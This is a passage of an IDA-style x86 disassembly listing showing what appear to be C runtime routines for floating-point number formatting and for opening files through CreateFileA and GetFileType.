[eax+2Ch], 0 jnz short loc_40B634 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40B62A cmp al, 47h jnz short loc_40B634 loc_40B62A: ; CODE XREF: sub_40B5E0+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_40B634: ; CODE XREF: sub_40B5E0:loc_40B5FFj ; sub_40B5E0+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_40C6A0 add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_40B699 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B671 cmp al, 65h jz short loc_40B671 cmp al, 66h jz short loc_40B671 cmp al, 67h jnz short loc_40B67A loc_40B671: ; CODE XREF: sub_40B5E0+83j ; sub_40B5E0+87j ... mov [ebp+var_44], offset word_41010A jmp short loc_40B681 ; --------------------------------------------------------------------------- loc_40B67A: ; CODE XREF: sub_40B5E0+8Fj mov [ebp+var_44], offset word_410106 loc_40B681: ; CODE XREF: sub_40B5E0+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4079C0 add esp, 0Ch jmp loc_40BC34 ; --------------------------------------------------------------------------- loc_40B699: ; CODE XREF: sub_40B5E0+6Cj cmp [ebp+var_16], 0 jle short loc_40B6EB mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B6C3 cmp al, 65h jz short loc_40B6C3 cmp al, 66h jz short loc_40B6C3 cmp al, 67h jnz short loc_40B6CC loc_40B6C3: ; CODE XREF: sub_40B5E0+D5j ; sub_40B5E0+D9j ... mov [ebp+var_44], offset word_410102 jmp short loc_40B6D3 ; --------------------------------------------------------------------------- loc_40B6CC: ; CODE XREF: sub_40B5E0+E1j mov [ebp+var_44], offset off_4100FE loc_40B6D3: ; CODE XREF: sub_40B5E0+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4079C0 add esp, 0Ch jmp loc_40BC34 ; --------------------------------------------------------------------------- loc_40B6EB: ; CODE XREF: sub_40B5E0+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B6F6 cmp al, 41h jnz short loc_40B72E loc_40B6F6: ; CODE XREF: sub_40B5E0+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_40B72E: ; CODE XREF: sub_40B5E0+114j cmp [ebp+var_16], 0 jnz short loc_40B746 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_40BC15 ; --------------------------------------------------------------------------- loc_40B746: ; CODE XREF: sub_40B5E0+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B755 cmp al, 41h jnz loc_40B95B loc_40B755: ; CODE XREF: sub_40B5E0+16Bj cmp [ebp+arg_4], 61h jnz short loc_40B764 mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_40B76B ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B5E0+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_40B76B: ; CODE XREF: sub_40B5E0+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B783 mov dword ptr [ebp+var_50], 21h jmp short loc_40B78D ; --------------------------------------------------------------------------- loc_40B783: ; CODE XREF: sub_40B5E0+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_40B78D: ; CODE XREF: sub_40B5E0+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B7B6 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_40B7BE ; --------------------------------------------------------------------------- loc_40B7B6: ; CODE XREF: sub_40B5E0+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_40B7BE: ; CODE XREF: sub_40B5E0+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_40B861 ; --------------------------------------------------------------------------- loc_40B7DA: ; CODE XREF: sub_40B5E0+293j push 1Ch lea eax, [ebp+var_10] push eax call sub_40C6C0 add esp, 8 fld [ebp+var_10] call sub_40C6E0 mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_40B80B fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_40B80B: ; CODE XREF: sub_40B5E0+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_40B830 ; --------------------------------------------------------------------------- loc_40B81D: ; CODE XREF: sub_40B5E0+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_40B830: ; CODE XREF: sub_40B5E0+23Bj cmp [ebp+var_5C], 0 jle short loc_40B841 mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B81D loc_40B841: ; CODE XREF: sub_40B5E0+254j jmp short loc_40B84D ; --------------------------------------------------------------------------- loc_40B843: ; CODE XREF: sub_40B5E0+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_40B84D: ; CODE XREF: sub_40B5E0:loc_40B841j mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B843 mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_40B861: ; CODE XREF: sub_40B5E0+1F5j cmp [ebp+var_44], 0 jle short loc_40B879 fld [ebp+var_10] fcomp dbl_4100D4 fnstsw ax sahf ja loc_40B7DA loc_40B879: ; CODE XREF: sub_40B5E0+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40B89A mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40B89A: ; CODE XREF: sub_40B5E0+2B1j cmp [ebp+var_12], 0 jl loc_40B93E mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40B8C6 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_40B8C6 mov [ebp+var_64], 0Fh jmp short loc_40B8CD ; --------------------------------------------------------------------------- loc_40B8C6: ; CODE XREF: sub_40B5E0+2CFj ; sub_40B5E0+2DBj mov [ebp+var_64], 0 loc_40B8CD: ; CODE XREF: sub_40B5E0+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B8E1 ; --------------------------------------------------------------------------- loc_40B8DC: ; CODE XREF: sub_40B5E0+311j sub [ebp+var_12], 1 loc_40B8E1: ; CODE XREF: sub_40B5E0+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_40B8DC cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_40B904 mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40B904: ; CODE XREF: sub_40B5E0+317j cmp [ebp+var_5C], 0 jge short loc_40B917 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_40B917: ; CODE XREF: sub_40B5E0+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B933 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: sub_40B5E0+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_40B933: ; CODE XREF: sub_40B5E0+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_40B920 loc_40B93E: ; CODE XREF: sub_40B5E0+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_40BC15 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_40BC15 ; --------------------------------------------------------------------------- loc_40B95B: ; CODE XREF: sub_40B5E0+16Fj fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B971 fld [ebp+var_10] fchs fstp [ebp+var_10] loc_40B971: ; CODE XREF: sub_40B5E0+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_40B9DC mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_40B9D4 ; --------------------------------------------------------------------------- loc_40B9B8: ; CODE XREF: sub_40B5E0+3F8j test byte ptr [ebp+var_44], 1 jz short loc_40B9CE fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_41007C[eax*8] fstp [ebp+var_10] loc_40B9CE: ; CODE XREF: sub_40B5E0+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_40B9D4: ; CODE XREF: sub_40B5E0+3D6j cmp [ebp+var_44], 0 jg short loc_40B9B8 jmp short loc_40BA2C ; --------------------------------------------------------------------------- loc_40B9DC: ; CODE XREF: sub_40B5E0+3B6j cmp [ebp+var_14], 0 jle short loc_40BA2C fld dbl_4100CC fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_40BA1D ; --------------------------------------------------------------------------- loc_40BA01: ; CODE XREF: sub_40B5E0+441j test byte ptr [ebp+var_44], 1 jz short loc_40BA17 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_41007C[eax*8] fstp [ebp+var_50] loc_40BA17: ; CODE XREF: sub_40B5E0+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_40BA1D: ; CODE XREF: sub_40B5E0+41Fj cmp [ebp+var_44], 0 jg short loc_40BA01 fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_40BA2C: ; CODE XREF: sub_40B5E0+3FAj ; sub_40B5E0+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40BA37 cmp al, 46h jnz short loc_40BA43 loc_40BA37: ; CODE XREF: sub_40B5E0+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_40BA4A ; --------------------------------------------------------------------------- loc_40BA43: ; CODE XREF: sub_40B5E0+455j mov [ebp+var_48], 6 loc_40BA4A: ; CODE XREF: sub_40B5E0+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_40BA64 mov [ebp+var_44], 13h loc_40BA64: ; CODE XREF: sub_40B5E0+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_40BB0A ; --------------------------------------------------------------------------- loc_40BA75: ; CODE XREF: sub_40B5E0+53Cj fld [ebp+var_10] call sub_40C6E0 mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_40BA9E fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_4100C4 fstp [ebp+var_10] loc_40BA9E: ; CODE XREF: sub_40B5E0+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_40BAD9 ; --------------------------------------------------------------------------- loc_40BAB0: ; CODE XREF: sub_40B5E0+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_40C710 add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_40BAD9: ; CODE XREF: sub_40B5E0+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_40BAEA mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40BAB0 loc_40BAEA: ; CODE XREF: sub_40B5E0+4FDj jmp short loc_40BAF6 ; --------------------------------------------------------------------------- loc_40BAEC: ; CODE XREF: sub_40B5E0+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_40BAF6: ; CODE XREF: sub_40B5E0:loc_40BAEAj mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40BAEC mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_40BB0A: ; CODE XREF: sub_40B5E0+490j cmp [ebp+var_44], 0 jle short loc_40BB22 fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jb loc_40BA75 loc_40BB22: ; CODE XREF: sub_40B5E0+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_40BB45 ; --------------------------------------------------------------------------- loc_40BB3A: ; CODE XREF: sub_40B5E0+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_40BB45: ; CODE XREF: sub_40B5E0+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_40BB3A mov al, [ebp+arg_4] cmp al, 66h jz short loc_40BB58 cmp al, 46h jnz short loc_40BB62 loc_40BB58: ; CODE XREF: sub_40B5E0+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_40BB7D ; --------------------------------------------------------------------------- loc_40BB62: ; CODE XREF: sub_40B5E0+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_40BB6D cmp al, 45h jnz short loc_40BB76 loc_40BB6D: ; CODE XREF: sub_40B5E0+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_40BB7D ; --------------------------------------------------------------------------- loc_40BB76: ; CODE XREF: sub_40B5E0+58Bj mov dword ptr [ebp+var_50+4], 0 loc_40BB7D: ; CODE XREF: sub_40B5E0+580j ; sub_40B5E0+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40BB9C mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40BB9C: ; CODE XREF: sub_40B5E0+5B3j cmp [ebp+var_12], 0 jl short loc_40BC15 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40BBC4 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_40BBC4 mov dword ptr [ebp+var_58], 39h jmp short loc_40BBCB ; --------------------------------------------------------------------------- loc_40BBC4: ; CODE XREF: sub_40B5E0+5CDj ; sub_40B5E0+5D9j mov dword ptr [ebp+var_58], 30h loc_40BBCB: ; CODE XREF: sub_40B5E0+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_40BBDF ; --------------------------------------------------------------------------- loc_40BBDA: ; CODE XREF: sub_40B5E0+60Fj sub [ebp+var_12], 1 loc_40BBDF: ; CODE XREF: sub_40B5E0+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_40BBDA cmp byte ptr [ebp+var_50+3], 39h jnz short loc_40BC02 mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40BC02: ; CODE XREF: sub_40B5E0+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_40BC15 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_40BC15: ; CODE XREF: sub_40B5E0+161j ; sub_40B5E0+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40C740 add esp, 14h loc_40BC34: ; CODE XREF: sub_40B5E0+B4j ; sub_40B5E0+106j mov esp, ebp pop ebp retn sub_40B5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC40 proc near ; CODE XREF: sub_40A970+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40BC70 add esp, 10h pop esi pop ebx pop ebp retn sub_40BC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC70 proc near ; CODE XREF: sub_40BC40+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_40BC9F mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_40BCAA ; --------------------------------------------------------------------------- loc_40BC9F: ; CODE XREF: sub_40BC70+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_40BCAA: ; CODE XREF: sub_40BC70+2Dj test ebx, 8000h jnz short loc_40BCBE test ebx, 4000h jz short loc_40BCBE or [ebp+var_1], 80h loc_40BCBE: ; CODE XREF: sub_40BC70+40j ; sub_40BC70+48j mov edi, ebx and edi, 3 jz short loc_40BCD1 cmp edi, 1 jz short loc_40BCDA cmp edi, 2 jz short loc_40BCE3 jmp short loc_40BCEC ; --------------------------------------------------------------------------- loc_40BCD1: ; CODE XREF: sub_40BC70+53j mov [ebp+var_20], 80000000h jmp short loc_40BCFF ; --------------------------------------------------------------------------- loc_40BCDA: ; CODE XREF: sub_40BC70+58j mov [ebp+var_20], 40000000h jmp short loc_40BCFF ; --------------------------------------------------------------------------- loc_40BCE3: ; CODE XREF: sub_40BC70+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_40BCFF ; --------------------------------------------------------------------------- loc_40BCEC: ; CODE XREF: sub_40BC70+5Fj call sub_408730 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BCFF: ; CODE XREF: sub_40BC70+68j ; sub_40BC70+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_40BD2C jg short loc_40BD11 cmp [ebp+arg_8], 10h jz short loc_40BD23 jmp short loc_40BD47 ; --------------------------------------------------------------------------- loc_40BD11: ; CODE XREF: sub_40BC70+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_40BD35 jl short loc_40BD47 cmp [ebp+arg_8], 40h jz short loc_40BD3E jmp short loc_40BD47 ; --------------------------------------------------------------------------- loc_40BD23: ; CODE XREF: sub_40BC70+9Dj mov [ebp+var_28], 0 jmp short loc_40BD5A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BC70+95j mov [ebp+var_28], 1 jmp short loc_40BD5A ; --------------------------------------------------------------------------- loc_40BD35: ; CODE XREF: sub_40BC70+A7j mov [ebp+var_28], 2 jmp short loc_40BD5A ; --------------------------------------------------------------------------- loc_40BD3E: ; CODE XREF: sub_40BC70+AFj mov [ebp+var_28], 3 jmp short loc_40BD5A ; --------------------------------------------------------------------------- loc_40BD47: ; CODE XREF: sub_40BC70+9Fj ; sub_40BC70+A9j ... call sub_408730 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BD5A: ; CODE XREF: sub_40BC70+BAj ; sub_40BC70+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_40BDDE jg short loc_40BD8C mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_40BDC3 jg short loc_40BD81 cmp [ebp+var_3C], 0 jz short loc_40BDBA jmp short loc_40BDE7 ; --------------------------------------------------------------------------- loc_40BD81: ; CODE XREF: sub_40BC70+107j cmp [ebp+var_3C], 200h jz short loc_40BDD5 jmp short loc_40BDE7 ; --------------------------------------------------------------------------- loc_40BD8C: ; CODE XREF: sub_40BC70+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_40BDCC jg short loc_40BDA3 cmp [ebp+var_3C], 400h jz short loc_40BDBA jmp short loc_40BDE7 ; --------------------------------------------------------------------------- loc_40BDA3: ; CODE XREF: sub_40BC70+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_40BDD5 jl short loc_40BDE7 cmp [ebp+var_3C], 700h jz short loc_40BDCC jmp short loc_40BDE7 ; --------------------------------------------------------------------------- loc_40BDBA: ; CODE XREF: sub_40BC70+10Dj ; sub_40BC70+12Fj mov [ebp+var_24], 3 jmp short loc_40BDFA ; --------------------------------------------------------------------------- loc_40BDC3: ; CODE XREF: sub_40BC70+105j mov [ebp+var_24], 4 jmp short loc_40BDFA ; --------------------------------------------------------------------------- loc_40BDCC: ; CODE XREF: sub_40BC70+124j ; sub_40BC70+146j mov [ebp+var_24], 1 jmp short loc_40BDFA ; --------------------------------------------------------------------------- loc_40BDD5: ; CODE XREF: sub_40BC70+118j ; sub_40BC70+13Bj mov [ebp+var_24], 5 jmp short loc_40BDFA ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC70+F9j mov [ebp+var_24], 2 jmp short loc_40BDFA ; --------------------------------------------------------------------------- loc_40BDE7: ; CODE XREF: sub_40BC70+10Fj ; sub_40BC70+11Aj ... call sub_408730 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BDFA: ; CODE XREF: sub_40BC70+151j ; sub_40BC70+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_40BE28 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_40BE28 mov [ebp+var_14], 1 loc_40BE28: ; CODE XREF: sub_40BC70+197j ; sub_40BC70+1AFj test ebx, 40h jz short loc_40BE3E or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_40BE3E: ; CODE XREF: sub_40BC70+1BEj test ebx, 1000h jz short loc_40BE4D or [ebp+var_14], 100h loc_40BE4D: ; CODE XREF: sub_40BC70+1D4j test ebx, 20h jz short loc_40BE5E or [ebp+var_14], 8000000h jmp short loc_40BE6D ; --------------------------------------------------------------------------- loc_40BE5E: ; CODE XREF: sub_40BC70+1E3j test ebx, 10h jz short loc_40BE6D or [ebp+var_14], 10000000h loc_40BE6D: ; CODE XREF: sub_40BC70+1ECj ; sub_40BC70+1F4j call sub_40AC60 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40BE8C call sub_408730 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BE8C: ; CODE XREF: sub_40BC70+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD4 ; CreateFileA mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_40BED2 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_4085D0 pop ecx push esi call sub_40B070 pop ecx or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BED2: ; CODE XREF: sub_40BC70+244j mov eax, [ebp+var_18] push eax call dword_411DF0 ; GetFileType mov [ebp+var_1C], eax test eax, eax jnz short loc_40BF09 mov eax, [ebp+var_18] push eax call dword_411CFC ; CloseHandle call dword_411CEC ; RtlGetLastWin32Error push eax call sub_4085D0 pop ecx push esi call sub_40B070 pop ecx or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BF09: ; CODE XREF: sub_40BC70+271j cmp [ebp+var_1C], 2 jnz short loc_40BF15 or [ebp+var_1], 40h jmp short loc_40BF1F ; --------------------------------------------------------------------------- loc_40BF15: ; CODE XREF: sub_40BC70+29Dj cmp [ebp+var_1C], 3 jnz short loc_40BF1F or [ebp+var_1], 8 loc_40BF1F: ; CODE XREF: sub_40BC70+2A3j ; sub_40BC70+2A9j mov eax, [ebp+var_18] push eax push esi call sub_40AE40 add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_40C017 test eax, 80h jz loc_40C017 test ebx, 2 jz loc_40C017 push 2 push 0FFFFFFFFh push esi call sub_40C180 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40BFAD call dword_411CEC ; RtlGetLastWin32Error cmp eax, 83h jz loc_40C017 push esi call sub_409110 pop ecx push esi call sub_40B070 pop ecx or eax, 0FFFFFFFFh jmp loc_40C049 ; --------------------------------------------------------------------------- loc_40BFAD: ; CODE XREF: sub_40BC70+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_40CC20 add esp, 0Ch test eax, eax jnz short loc_40BFEF cmp [ebp+var_35], 1Ah jnz short loc_40BFEF mov eax, [ebp+var_34] push eax push esi call sub_40CFE0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_40BFEF push esi call sub_409110 pop ecx push esi call sub_40B070 pop ecx or eax, 0FFFFFFFFh jmp short loc_40C049 ; --------------------------------------------------------------------------- loc_40BFEF: ; CODE XREF: sub_40BC70+352j ; sub_40BC70+358j ... push 0 push 0 push esi call sub_40C180 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_40C017 push esi call sub_409110 pop ecx push esi call sub_40B070 pop ecx or eax, 0FFFFFFFFh jmp short loc_40C049 ; --------------------------------------------------------------------------- loc_40C017: ; CODE XREF: sub_40BC70+2E4j ; sub_40BC70+2EFj ... test [ebp+var_1], 48h jnz short loc_40C040 test ebx, 8 jz short loc_40C040 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_40C040: ; CODE XREF: sub_40BC70+3ABj ; sub_40BC70+3B3j push esi call sub_40B070 pop ecx mov eax, esi loc_40C049: ; CODE XREF: sub_40BC70+8Aj ; sub_40BC70+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40BC70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C050 proc near ; CODE XREF: sub_40A9E0+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_40B0E0 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40C077 or eax, 0FFFFFFFFh jmp loc_40C174 ; --------------------------------------------------------------------------- loc_40C077: ; CODE XREF: sub_40C050+1Dj cmp ebx, 1 jz loc_40C172 test ebx, ebx jz short loc_40C09E push 0 mov eax, [ebp+arg_0] push eax call sub_40B0E0 add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_40C172 ; --------------------------------------------------------------------------- loc_40C09E: ; CODE XREF: sub_40C050+32j mov eax, 